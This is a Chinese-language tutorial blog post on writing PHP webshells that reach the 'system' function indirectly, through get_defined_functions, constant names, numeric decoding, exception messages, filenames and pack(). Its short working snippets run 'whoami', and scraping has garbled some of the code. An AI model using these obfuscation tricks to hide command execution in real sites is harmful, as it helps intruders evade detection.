淺談 webshell 構造之如何獲取惡意函數

前言

這篇文章主要是總結一下自己學習過的如何獲取惡意函數的篇章,重點是在如何獲取惡意函數

get_defined_functions

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_functions — 返回所有已定義函數的數組

我們主要是可以通過這個獲取危險的函數

比如

image-20240915094402427

?

比如

image-20240915094855885

?

當然還有許多,如何執行命令就很簡單了

代碼如下

ounter(lineounter(lineounter(lineounter(line<?php$a=(get_defined_functions());$a["internal"][516]("whoami");?>

image-20240915095621334

?

get_defined_constants

get_defined_constants — 返回所有常量的關聯數組,鍵是常量名,值是常量值

那獲取的常量是不是可以為我們所用呢?

image-20240915095940647

?

可以看到是有 system 關鍵字的,我們就可以直接去獲取它的 key,然后截取不就是 system 了嗎

代碼如下

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php$a=get_defined_constants();
foreach?($a as $key => $value){if?(substr($key,0,7)=="INI_SYS"){$x= strtolower(substr($key,4,6));$x("whoami");}
}
?>


image-20240915100659841

自定義方法

通過自定義的方法,從毫無頭緒的數字獲取到 system 函數,拿出廣為流傳的例子

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction?fun($a){? ??$s?= ['a','t','s',?'y',?'m',?'e',?'/'];? ??$tmp?=?"";? ??while?($a>10) {? ? ? ??$tmp?.=?$s[$a%10];? ? ? ??$a?=?$a/10;? ? }? ??return?$tmp.$s[$a];}

現在還沒有看出端倪,但是當你運行這串代碼的時候???????

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction?fun($a){? ??$s?= ['a','t','s',?'y',?'m',?'e',?'/'];? ??$tmp?=?"";? ??while?($a>10) {? ? ? ??$tmp?.=?$s[$a%10];? ? ? ??$a?=?$a/10;? ? }? ??return?$tmp.$s[$a];}echo?fun(451232);

image-20240915102934616

?

拋出異常截取字符串

這個手法也是比較特殊的

我們可以隨便找一個異常類

比如 ParseError,然后再加上我們剛剛的自定義方法

ParseError?當解析 PHP 代碼時發生錯誤時拋出,比如當 eval() 被調用出錯時。

它的一些屬性和方法???????

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line/* 繼承的屬性 */protected?string?$message?=?"";private?string?$string?=?"";protected?int?$code;protected?string?$file?=?"";protected?int?$line;private?array?$trace?= [];private??Throwable?$previous?=?null;/* 繼承的方法 */public?Error::__construct(string?$message?=?"",?int?$code?=?0, ?Throwable?$previous?=?null)final?public?Error::getMessage():?stringfinal?public?Error::getPrevious(): ?Throwablefinal?public?Error::getCode():?intfinal?public?Error::getFile():?stringfinal?public?Error::getLine():?intfinal?public?Error::getTrace():?arrayfinal?public?Error::getTraceAsString():?stringpublic?Error::__toString():?stringprivate?Error::__clone():?void

可以看到都是基礎父類的???????

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineException::__construct?— 異常構造函數Exception::getMessage?— 獲取異常消息內容Exception::getPrevious?— 返回前一個?ThrowableException::getCode?— 獲取異常代碼Exception::getFile?— 創建異常時的程序文件名稱Exception::getLine?— 獲取創建的異常所在文件中的行號Exception::getTrace?— 獲取異常追蹤信息Exception::getTraceAsString?— 獲取字符串類型的異常追蹤信息Exception::__toString?— 將異常對象轉換為字符串Exception::__clone?— 異常克隆

根據這些思路來了,我們如果能夠獲取報錯內容,那不就是隱含的獲取了惡意函數嗎

代碼如下???????

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?phpfunction?fun($a){? ??$s?= ['a','t','s',?'y',?'m',?'e',?'/'];? ??$tmp?=?"";? ??while?($a>10) {? ? ? ??$tmp?.=?$s[$a%10];? ? ? ??$a?=?$a/10;? ? }? ??return?$tmp.$s[$a];}$a?= new ParseError(fun(451232));echo?$a->getMessage();

image-20240915103542956

?

DirectoryIterator

The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

它的一些方法

  • DirectoryIterator::__construct — Constructs a new directory iterator from a path

  • DirectoryIterator::current — Return the current DirectoryIterator item

  • DirectoryIterator::getBasename — Get base name of current DirectoryIterator item

  • DirectoryIterator::getExtension — Gets the file extension

  • DirectoryIterator::getFilename — Return file name of current DirectoryIterator item

  • DirectoryIterator::isDot — Determine if current DirectoryIterator item is '.' or '..'

  • DirectoryIterator::key — Return the key for the current DirectoryIterator item

  • DirectoryIterator::next — Move forward to next DirectoryIterator item

  • DirectoryIterator::rewind — Rewind the DirectoryIterator back to the start

  • DirectoryIterator::seek — Seek to a DirectoryIterator item

  • DirectoryIterator::__toString — Get file name as a string

  • DirectoryIterator::valid — Check whether current DirectoryIterator position is a valid file

其中大概看一下,其實

DirectoryIterator::getFilename 就有利用的可能

DirectoryIterator::getFilename — Return file name of current DirectoryIterator item

看一下官方的例子???????

ounter(line<?php$dir?=?new?DirectoryIterator(dirname(__FILE__));foreach?($dir as?$fileinfo) { ? ?echo?$fileinfo->getFilename() .?"\n";}?>

以上示例的輸出類似于:???????

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(line...apple.jpgbanana.jpgindex.phppear.jpg

那豈不是我們如果可以控制自己的文件名或者目錄,那不就構造出來了嗎

代碼如下???????

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line<?php// 創建FilesystemIterator實例$iterator?=?new?FilesystemIterator(dirname(__FILE__));foreach?($iterator as?$item) {? ? // 輸出文件和目錄的屬性? ??echo?$item->getFilename() .?"\n";}?>

image-20240915104708485

?

運行結果

image-20240915104756772

?

確實是獲取到了

pack

這個函數很有意思的

pack — 將數據打包成二進制字符串

可以構造出字符串

pack(string$format, mixed...$values): string

將輸入參數打包成?format?格式的二進制字符串。

這個函數的思想來自 Perl,所有格式化代碼(format)的工作原理都與 Perl 相同。但是,缺少了部分格式代碼,比如 Perl 的 “u”。

注意,有符號值和無符號值之間的區別只影響函數 unpack(),在那些使用有符號和無符號格式代碼的地方?pack()?函數產生相同的結果。

看了一下大概,再看下官方的例子

這是一些它的格式

image-20240915105051397

?

示例 #1 *pack()*?范例???????

ounter(line<?php$binarydata?= pack("nvc*",?0x1234,?0x5678,?65,?66);?>

輸出結果為長度為 6 字節的二進制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。

那我們按照構造出 system 的思路

ounter(lineounter(lineounter(lineounter(lineounter(line
<?phpecho?pack("C6", 115, 121, 115, 116, 101, 109);
echo?pack("H*",?"73797374656d");?>

???????

這兩個結果都是 system

  • "C6"?是格式字符串,其中?C?表示將后續的六個參數視為無符號字符(即 ASCII 字符),6?表示有六個字符。

  • 傳入的參數

    115,?121,?115,?116,?101,?109

    是 ASCII 碼值。

    • 115?對應的字符是?s

    • 121?對應的字符是?y

    • 115?對應的字符是?s

    • 116?對應的字符是?t

    • 101?對應的字符是?e

    • 109?對應的字符是?m

    • ounter(line

構造出來的就是 system

  • "H*"?是格式字符串,其中?H?表示將后續傳遞的參數視為十六進制字符串,*?表示任意長度。

  • 73797374656d

    是一個十六進制表示的字符串。將其轉換為 ASCII 字符:

    構造出來的也是system

    • 73?是?s

    • 79?是?y

    • 73?是?s

    • 74?是?t

    • 65?是?e

    • 6d?是?m

    • ounter(line

img

?

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/87529.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/87529.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/87529.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Python 單例模式與魔法方法:深度解析與實踐應用

在 Python 編程領域,設計模式解決常見問題的通用方案,而魔法方法則是 Python 語言賦予類強大功能的特殊接口。單例模式和魔法方法看似獨立,實則緊密關聯,魔法方法常被用于實現單例模式。深入理解并熟練運用它們,能夠幫助開發者編寫出結構清晰、高效且具有高復用性的代碼。…

pybind11 導出 C++ map 在 Python 層 get 訪問慢的優化方案

pybind11 導出 C map 在 Python 層 get 訪問慢的優化方案 問題描述 通過 pybind11 導出 C 的 std::map 或 std::unordered_map&#xff0c;在 Python 代碼中頻繁使用 get 方法訪問 value 時&#xff0c;性能非常低下。其主要原因是&#xff1a; pybind11 的 map 綁定會導致每次…

RTC實時時鐘DS1339U-33國產替代FRTC1339M

FRTC1339M是一款實時時鐘&#xff08;RTC&#xff09;芯片&#xff0c;由NYFEA徠飛公司制造。 FRTC13399M串行實時時鐘是一種低功耗的時鐘日期設備&#xff0c;具有兩個可編程的每日時間警報和一個可編程的方波輸出。通過2線雙向總線進行串行地址和數據傳輸。時鐘/日期提供秒、…

網絡常用端口號歸納

ICMP端口號&#xff1a;1IGMP端口號&#xff1a;2TCP端口號&#xff1a;6UDP端口號&#xff1a;17FTP端口號&#xff1a;20(控制信息傳輸)、21&#xff08;數據傳輸&#xff09;SSH端口號&#xff1a;22Telnet端口號&#xff1a;23SMTP端口號&#xff1a;25IPV6端口號&#xff…

Agent learn

1.人物設定&#xff1a; 1.1塑造智能體的思維能力與問題拆解與拆解分析能力 1.2個性化&#xff1a;輸出預期輸出示例&#xff08;設定智能體的-》性格&#xff0c;語言風格&#xff09; 1.3插件&#xff0c;調用工具 1.4可設定結構化表達 1.5調優 1.6常見問題&#xff1a; …

五層協議介紹

層次核心功能典型協議/設備應用層為用戶應用程序提供網絡服務接口&#xff08;如文件傳輸、電子郵件、網頁瀏覽&#xff09;HTTP、FTP、SMTP、DNS、SSH傳輸層提供端到端的可靠或不可靠數據傳輸&#xff0c;處理流量控制和差錯恢復TCP&#xff08;可靠&#xff09;、UDP&#xf…

gin框架 中間件 是在判斷路由存在前執行還是存在后執行的研究

最近有個需求&#xff0c;就是發現我們的驗簽路由中間件會在判斷路由是否存在前執行。我們期望是gin框架先自己判斷路由中間件是否存在&#xff0c;存在了再走后面的中間件&#xff0c;不存在直接返回404.這樣能節省一定的資源。 研究了一下gin框架的源碼&#xff0c; 先說一下…

AGV 無人叉車關鍵技術問題解析:精準定位算法 / 安全避障邏輯 / 系統對接協議全方案

AGV無人叉車作為智能物流的核心裝備&#xff0c;在落地時常面臨定位漂移、系統兼容性差、避障失靈等痛點。本文深度解析5大高頻問題成因與解決方案&#xff0c;助企業規避運營風險&#xff0c;提升效率。 一、定位導航問題&#xff1a;行駛路徑偏移怎么辦&#xff1f; 1.典型…

AI Agent意圖識別

意圖識別&#xff1a;多維度拆解 意圖識別是人機對話系統&#xff08;Conversational AI&#xff09;的“大腦皮層”&#xff0c;負責理解用戶言語背后的真實目的。它將用戶的自然語言輸入映射到一個預定義的意圖類別上。可以說&#xff0c;意圖識別的準確性&#xff0c;直接決…

.net 8 項目 一天快速入門

這里有一個解決方案 這里有一個接口類的項目 這會呢如果還想在建一個項目 我們在解決方案這里右鍵,添加,新建項目 點擊 我現在要建立一個類庫,所以就搜一下類庫,這里的第一個就是我們需要創建的類庫 起個名字,計算類 進來了 可以看到這里有多了一個項目,但是他們…

語音大模型速覽(一)F5-TTS

F5-TTS: A Fairytaler that Fakes Fluent and Faithful Speech with Flow Matching 論文鏈接&#xff1a;https://arxiv.org/pdf/2410.06885代碼鏈接&#xff1a;https://SWivid.github.io/F5-TTS/ 一段話總結 本文提出了 F5-TTS&#xff0c;一種基于流匹配和擴散 Transform…

Codeforces 2021 C Those Who Are With Us

[Problem Discription]\color{blue}{\texttt{[Problem Discription]}}[Problem Discription] 給定一個 nmn \times mnm 的表格 ai,ja_{i,j}ai,j?&#xff0c;你可以恰好進行一次如下操作&#xff1a; 選擇一個格點 (r,c)(r,c)(r,c)。對于所有滿足 iririr 或者 jcjcjc 的格點 (…

chrome插件合集

最近一段時間呢(不到一年)&#xff0c;實現了大概二十幾個chrome插件。很多人不知道的是&#xff0c;其實開發插件很解壓&#xff0c;就好像是我喜歡沿著公園的小路散步一樣&#xff0c;每開發一個插件帶給我的成就感和快樂都是獨特的。我依然記得自己開發出第1個插件時的快樂&…

【機器學習深度學習】模型微調的基本概念與流程

目錄 前言 一、什么是模型微調&#xff08;Fine-tuning&#xff09;&#xff1f; 二、預訓練 vs 微調&#xff1a;什么關系&#xff1f; 三、微調的基本流程&#xff08;以BERT為例&#xff09; 1?? 準備數據 2?? 加載預訓練模型和分詞器 3?? 數據編碼與加載 4?…

大語言模型預訓練數據——數據采樣方法介紹以GPT3為例

大語言模型預訓練數據——數據采樣方法介紹以GPT3為例一、數據采樣核心邏輯二、各列數據含義一、數據采樣核心邏輯 這是 GPT - 3 訓練時的數據集配置&#xff0c;核心是非等比例采樣——不按數據集原始大小分配訓練占比&#xff0c;而是人工設定不同數據集在訓練中被抽取的概率…

針對同一臺電腦,為使用不同 SSH Key 的不同用戶分別設置 Git 遠程倉庫憑據的操作指南

一、準備工作 生成多對 SSH Key 為每個用戶&#xff08;如“個人”、“公司”&#xff09;生成一對獨立的 SSH Key。 示例&#xff08;在 Git Bash 或 Linux 終端中執行&#xff09;&#xff1a; # 個人 ssh-keygen -t rsa -b 4096 -C "personalexample.com" -f ~/.…

【V5.0 - 視覺篇】AI的“火眼金睛”:用OpenCV量化“第一眼緣”,并用SHAP驗證它的“審美”

系列回顧&#xff1a; 在上一篇 《給AI裝上“寫輪眼”&#xff1a;用SHAP看穿模型決策的每一個細節》 中&#xff0c;我們成功地為AI裝上了“透視眼鏡”&#xff0c;看穿了它基于數字決策的內心世界。 但一個巨大的問題暴露了&#xff1a;它的世界里&#xff0c;還只有數字。 它…

Open3D 基于最大團(MAC)的點云粗配準

MAC 一、算法原理1、原理概述2、實現流程3、總結二、代碼實現三、結果展示博客長期更新,本文最新更新時間為:2025年7月1日。 一、算法原理 1、原理概述 最大團(Maximal Cliques, MAC)法在點云配準中的應用,是近年來解決高離群值(outlier)和低重疊場景下配準問題的重要…

Science Robotics發表 | 20m/s自主飛行+避開2.5mm電線的微型無人機!

從山火搜救到災后勘察&#xff0c;時間常常意味著生命。分秒必爭的任務要求無人機在陌生狹窄環境中既要飛得快、又要飛得穩。香港大學機械工程系張富教授團隊在Science Robotics(2025)發表論文“Safety-assured High-speed Navigation for MAVs”提出了微型無人機的安全高速導航…

【數據分析】如何在PyCharm中高效配置和使用SQL

PyCharm 作為 Python 開發者的首選 IDE&#xff0c;其 Professional 版本提供了強大的數據庫集成功能&#xff0c;讓開發者無需切換工具即可完成數據庫操作。本文將手把手教你配置和使用 PyCharm 的 SQL 功能。 一、安裝和配置 PyCharm 老生常談&#xff0c;第一步自然是安裝并…